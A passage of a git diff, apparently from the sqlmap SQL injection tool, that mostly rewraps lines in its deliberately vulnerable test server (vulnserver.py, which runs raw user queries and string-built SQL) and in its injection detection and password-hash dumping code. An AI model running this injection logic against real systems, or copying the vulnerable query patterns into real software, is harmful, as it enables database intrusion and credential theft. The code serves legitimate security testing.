30:index + 30])) + if __name__ == "__main__": try: BASE_DIRECTORY = sys.argv[1] diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 76f9c2376..eb980ba1e 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -63,6 +63,7 @@ _lock = None _server = None _alive = False + def init(quiet=False): global _conn global _cursor @@ -82,6 +83,7 @@ def init(quiet=False): print = _ + class ThreadingServer(ThreadingMixIn, HTTPServer): def finish_request(self, *args, **kwargs): try: @@ -90,6 +92,7 @@ class ThreadingServer(ThreadingMixIn, HTTPServer): if DEBUG: traceback.print_exc() + class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") @@ -110,9 +113,13 @@ class ReqHandler(BaseHTTPRequestHandler): if self.data.startswith('{') and self.data.endswith('}'): params.update(json.loads(self.data)) elif self.data.startswith('<') and self.data.endswith('>'): - params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data))) + params.update(dict((_[0], + _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace( + ">", '>').replace("&", '&')) for _ in + re.findall(r'name="([^"]+)" value="([^"]*)"', self.data))) else: - self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';' + self.data = self.data.replace(';', + '&') # Note: seems that Python3 started ignoring parameter splitting with ';' params.update(parse_qs(self.data)) for name in self.headers: @@ -137,7 +144,8 @@ class ReqHandler(BaseHTTPRequestHandler): self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) self.send_header("Connection", "close") self.end_headers() - self.wfile.write(b"vulnserver

GET:

link

POST:

ID:
") + self.wfile.write( + b"vulnserver

GET:

link

POST:

ID:
") else: code, output = OK, "" @@ -153,7 +161,8 @@ class ReqHandler(BaseHTTPRequestHandler): _cursor.execute(self.params["query"]) elif "id" in self.params: if "base64" in self.params: - _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode()) + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode( + "%s===" % self.params["id"], altchars=self.params.get("altchars")).decode()) else: _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) results = _cursor.fetchall() @@ -237,6 +246,7 @@ class ReqHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): return + def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): global _alive global _server @@ -251,9 +261,11 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): finally: _alive = False + if __name__ == "__main__": try: init() - run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT)) + run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, + int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT)) except KeyboardInterrupt: print("\r[x] Ctrl-C received") diff --git a/lib/controller/action.py b/lib/controller/action.py index 1aeb0bcc4..e4d5db523 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -20,6 +20,7 @@ from lib.utils.brute import columnExists from lib.utils.brute import fileExists from lib.utils.brute import tableExists + def action(): """ This function exploit the SQL injection on the affected @@ -80,7 +81,8 @@ def action(): if conf.getPasswordHashes: try: - conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) + conf.dumper.userSettings("database management system users password hashes", + conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) except SqlmapNoneDataException as ex: logger.critical(ex) except: @@ -88,7 +90,8 @@ def action(): if conf.getPrivileges: try: - conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) + conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), + "privilege", CONTENT_TYPE.PRIVILEGES) except SqlmapNoneDataException as ex: logger.critical(ex) except: @@ -96,7 +99,8 @@ def action(): if conf.getRoles: try: - conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) + conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", + CONTENT_TYPE.ROLES) except SqlmapNoneDataException as ex: logger.critical(ex) except: diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b0d5fd6b5..2527ecba7 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -105,6 +105,7 @@ from lib.techniques.union.use import configUnion from thirdparty import six from thirdparty.six.moves import http_client as _http_client + def checkSqlInjection(place, parameter, value): # Store here the details about boundaries and payload used to # successfully inject @@ -115,10 +116,18 @@ def checkSqlInjection(place, parameter, value): # Favoring non-string specific boundaries in case of digit-like parameter values if isDigit(value): - kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) + kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), + key=lambda boundary: any( + _ in (boundary.prefix or "") or _ in ( + boundary.suffix or "") for _ in + ('"', '\''))) boundaries = kb.cache.intBoundaries elif value.isalpha(): - kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) + kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), + key=lambda boundary: not any( + _ in (boundary.prefix or "") or _ in ( + boundary.suffix or "") for _ in + ('"', '\''))) boundaries = kb.cache.alphaBoundaries else: boundaries = conf.boundaries @@ -154,23 +163,32 @@ def checkSqlInjection(place, parameter, value): # payload), ask the user to limit the tests to the fingerprinted # DBMS - if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): - msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) + if kb.reduceTests is None and not conf.testFilter and ( + intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, + True) or kb.heuristicDbms or injection.dbms): + msg = "it looks like the back-end DBMS is '%s'. " % ( + Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" - kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] + kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, + default='Y', + boolean=True) else [] # If the DBMS has been fingerprinted (via DBMS-specific error # message, via simple heuristic check or via DBMS-specific # payload), ask the user to extend the tests to all DBMS-specific, # regardless of --level and --risk values provided - if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): + if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and ( + intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, + True) or kb.heuristicDbms or injection.dbms): msg = "for the remaining tests, do you want to include all tests " - msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) + msg += "for '%s' extending provided " % ( + Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += " and " if conf.level < 5 and conf.risk < 3 else "" msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]" - kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] + kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', + boolean=True) else [] title = test.title kb.testType = stype = test.stype @@ -247,7 +265,9 @@ def checkSqlInjection(place, parameter, value): # Skip tests if title, vector or DBMS is not included by the # given test filter - if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): + if conf.testFilter and not any( + conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in + (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is not included by the given filter" logger.debug(debugMsg) @@ -255,7 +275,8 @@ def checkSqlInjection(place, parameter, value): # Skip tests if title, vector or DBMS is included by the # given skip filter - if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): + if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in + (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is included by the given skip filter" logger.debug(debugMsg) @@ -367,7 +388,9 @@ def checkSqlInjection(place, parameter, value): # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None - fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) + fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in ( + PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in ( + value or "") else None) for boundary in boundaries: injectable = False @@ -375,7 +398,8 @@ def checkSqlInjection(place, parameter, value): # Skip boundary if the level is higher than the provided (or # default) value # Parse boundary's - if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): + if boundary.level > conf.level and not ( + kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): continue # Skip boundary if it does not match against test's @@ -469,7 +493,8 @@ def checkSqlInjection(place, parameter, value): reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) if reqPayload: - stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?.\g<4>", reqPayload) + stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?.\g<4>", + reqPayload) if stripPayload in seenPayload: continue else: @@ -481,13 +506,19 @@ def checkSqlInjection(place, parameter, value): # payload was successful # Parse test's for method, check in test.response.items(): - check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) + check = agent.cleanupPayload(check, origValue=value if place not in ( + PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in ( + value or "") else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): - sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) + sndPayload = agent.cleanupPayload(test.response.comparison, + origValue=value if place not in ( + PLACE.URI, PLACE.CUSTOM_POST, + PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in ( + value or "") else None) # Forge response payload by prepending with # boundary's prefix and appending the boundary's @@ -528,7 +559,7 @@ def checkSqlInjection(place, parameter, value): truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) - if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))): + if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) @@ -536,16 +567,19 @@ def checkSqlInjection(place, parameter, value): if kb.negativeLogic: boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) - errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + errorPayload = agent.payload(place, parameter, newValue=boundPayload, + where=where) errorResult = Request.queryPage(errorPayload, place, raise404=False) if errorResult: continue - elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif kb.heuristicPage and not any( + (conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): _ = comparison(kb.heuristicPage, None, getRatioValue=True) if (_ or 0) > (kb.matchRatio or 0): kb.matchRatio = _ - logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio) + logger.debug( + "adjusting match ratio for current parameter to %.3f" % kb.matchRatio) # Reducing false-positive "appears" messages in heavily dynamic environment if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False): @@ -553,13 +587,15 @@ def checkSqlInjection(place, parameter, value): injectable = True - elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any( + (conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) if threadData.lastErrorPage and threadData.lastErrorPage[1]: - errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n")) + errorSet = set( + getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n")) else: errorSet = set() @@ -569,21 +605,28 @@ def checkSqlInjection(place, parameter, value): if candidates: candidates = sorted(candidates, key=len) for candidate in candidates: - if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: + if re.match(r"\A[\w.,! ]+\Z", + candidate) and ' ' in candidate and candidate.strip() and len( + candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: suggestion = conf.string = candidate injectable = True - infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ( + "%s " % paramType if paramType != parameter else "", parameter, + title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) break if injectable: - if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + if kb.pageStable and not any( + (conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode: suggestion = conf.code = trueCode - infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ( + "%s " % paramType if paramType != parameter else "", parameter, title, + conf.code) logger.info(infoMsg) else: trueSet = set(extractTextTagContent(trueRawResponse)) @@ -598,21 +641,28 @@ def checkSqlInjection(place, parameter, value): else: errorSet = set() - candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)) + candidates = filterNone( + _.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None + for _ in (trueSet - falseSet - errorSet)) if candidates: candidates = sorted(candidates, key=len) for candidate in candidates: - if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content + if re.match(r"\A\w{2,}\Z", + candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content break suggestion = conf.string = candidate - infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ( + "%s " % paramType if paramType != parameter else "", parameter, title, + repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) if not any((conf.string, conf.notString)): - candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)) + candidates = filterNone( + _.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None + for _ in (falseSet - trueSet)) if candidates: candidates = sorted(candidates, key=len) @@ -622,11 +672,14 @@ def checkSqlInjection(place, parameter, value): suggestion = conf.notString = candidate - infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'")) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ( + "%s " % paramType if paramType != parameter else "", parameter, title, + repr(conf.notString).lstrip('u').strip("'")) logger.info(infoMsg) if not suggestion: - infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) + infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ( + "%s " % paramType if paramType != parameter else "", parameter, title) singleTimeLogMessage(infoMsg) # In case of error-based SQL injection @@ -636,15 +689,22 @@ def checkSqlInjection(place, parameter, value): try: page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) - output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) - output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) - output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, threadData.lastHTTPError[ + 2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, listToStrValue( + (headers[key] for key in headers if + key.lower() != URI_HTTP_HEADER.lower()) if headers else None), + re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, threadData.lastRedirectMsg[ + 1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[ + 0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: result = output == '1' if result: - infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) + infoMsg = "%sparameter '%s' is '%s' injectable " % ( + "%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -665,7 +725,8 @@ def checkSqlInjection(place, parameter, value): if trueResult: # Extra validation step (e.g. to check for DROP protection mechanisms) if SLEEP_TIME_MARKER in reqPayload: - falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False) + falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, + timeBasedCompare=True, raise404=False) if falseResult: continue @@ -673,7 +734,8 @@ def checkSqlInjection(place, parameter, value): trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: - infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) + infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ( + "%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -712,7 +774,8 @@ def checkSqlInjection(place, parameter, value): reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) if isinstance(reqPayload, six.string_types): - infoMsg = "%sparameter '%s' is '%s' injectable" % ("%s " % paramType if paramType != parameter else "", parameter, title) + infoMsg = "%sparameter '%s' is '%s' injectable" % ( + "%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -835,7 +898,8 @@ def checkSqlInjection(place, parameter, value): # Return the injection object if injection.place is not None and injection.parameter is not None: - if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'): + if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[ + PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'): warnMsg = "in OR boolean-based injection cases, please consider usage " warnMsg += "of switch '--drop-set-cookie' if you experience any " warnMsg += "problems during data retrieval" @@ -855,6 +919,7 @@ def checkSqlInjection(place, parameter, value): return injection + @stackedmethod def heuristicCheckDbms(injection): """ @@ -878,14 +943,18 @@ def heuristicCheckDbms(injection): Backend.forceDbms(dbms) if dbms in HEURISTIC_NULL_EVAL: - result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) - elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1): - result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)) + result = checkBooleanExpression( + "(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) + elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count( + FROM_DUMMY_TABLE.get(dbms, "")) != 1): + result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % ( + randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)) else: result = False if result: - if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): + if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % ( + randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): retVal = dbms break @@ -901,6 +970,7 @@ def heuristicCheckDbms(injection): return retVal + @stackedmethod def checkFalsePositives(injection): """ @@ -909,7 +979,10 @@ def checkFalsePositives(injection): retVal = True - if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): + if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in + injection.data) or ( + len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[ + PAYLOAD.TECHNIQUE.UNION].title): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place @@ -942,21 +1015,26 @@ def checkFalsePositives(injection): break if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: - checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request + checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, + randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request - if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True + if checkBooleanExpression( + "%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True retVal = False break - elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True + elif checkBooleanExpression( + "%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True retVal = False break - elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True + elif not checkBooleanExpression( + "%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True retVal = False break - elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) + elif checkBooleanExpression( + "%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) retVal = False break @@ -968,6 +1046,7 @@ def checkFalsePositives(injection): return retVal + @stackedmethod def checkSuhosinPatch(injection): """ @@ -992,6 +1071,7 @@ def checkSuhosinPatch(injection): kb.injection = popValue() + @stackedmethod def checkFilteredChars(injection): debugMsg = "checking for filtered characters" @@ -1012,7 +1092,8 @@ def checkFilteredChars(injection): logger.warning(warnMsg) # inference techniques depend on character '>' - if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): + if not any( + _ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): warnMsg = "it appears that the character '>' is " warnMsg += "filtered by the back-end server. You are strongly " @@ -1021,6 +1102,7 @@ def checkFilteredChars(injection): kb.injection = popValue() + def heuristicCheckSqlInjection(place, parameter): if conf.skipHeuristics: return None @@ -1054,7 +1136,8 @@ def heuristicCheckSqlInjection(place, parameter): parseFilePaths(page) result = wasLastResponseDBMSError() - infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ( + "%s " % paramType if paramType != parameter else "", parameter) def _(page): return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) @@ -1097,7 +1180,8 @@ def heuristicCheckSqlInjection(place, parameter): logger.error(errMsg) if kb.ignoreCasted is None: - message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]") + message = "do you want to skip those kind of cases (and save scanning time)? %s " % ( + "[Y/n]" if conf.multipleTargets else "[y/N]") kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) elif result: @@ -1123,7 +1207,8 @@ def heuristicCheckSqlInjection(place, parameter): # Reference: https://bugs.python.org/issue18183 if value.upper() in (page or "").upper(): - infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) if conf.beep: @@ -1131,7 +1216,8 @@ def heuristicCheckSqlInjection(place, parameter): for match in re.finditer(FI_ERROR_REGEX, page or ""): if randStr1.lower() in match.group(0).lower(): - infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) if conf.beep: @@ -1144,6 +1230,7 @@ def heuristicCheckSqlInjection(place, parameter): return kb.heuristicTest + def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is @@ -1160,7 +1247,8 @@ def checkDynParam(place, parameter, value): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place - infoMsg = "testing if %sparameter '%s' is dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "testing if %sparameter '%s' is dynamic" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) try: @@ -1174,6 +1262,7 @@ def checkDynParam(place, parameter, value): return result + def checkDynamicContent(firstPage, secondPage): """ This function checks for the dynamic content in the provided pages @@ -1230,6 +1319,7 @@ def checkDynamicContent(firstPage, secondPage): secondPage, _, _ = Request.queryPage(content=True) findDynamicContent(firstPage, secondPage) + def checkStability(): """ This function checks if the URL content is stable requesting the @@ -1323,6 +1413,7 @@ def checkStability(): return kb.pageStable + @stackedmethod def checkWaf(): """ @@ -1369,7 +1460,8 @@ def checkWaf(): conf.timeout = IPS_WAF_CHECK_TIMEOUT try: - retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO + retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, + raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO except SqlmapConnectionException: retVal = True finally: @@ -1400,6 +1492,7 @@ def checkWaf(): return retVal + @stackedmethod def checkNullConnection(): """ @@ -1459,6 +1552,7 @@ def checkNullConnection(): return 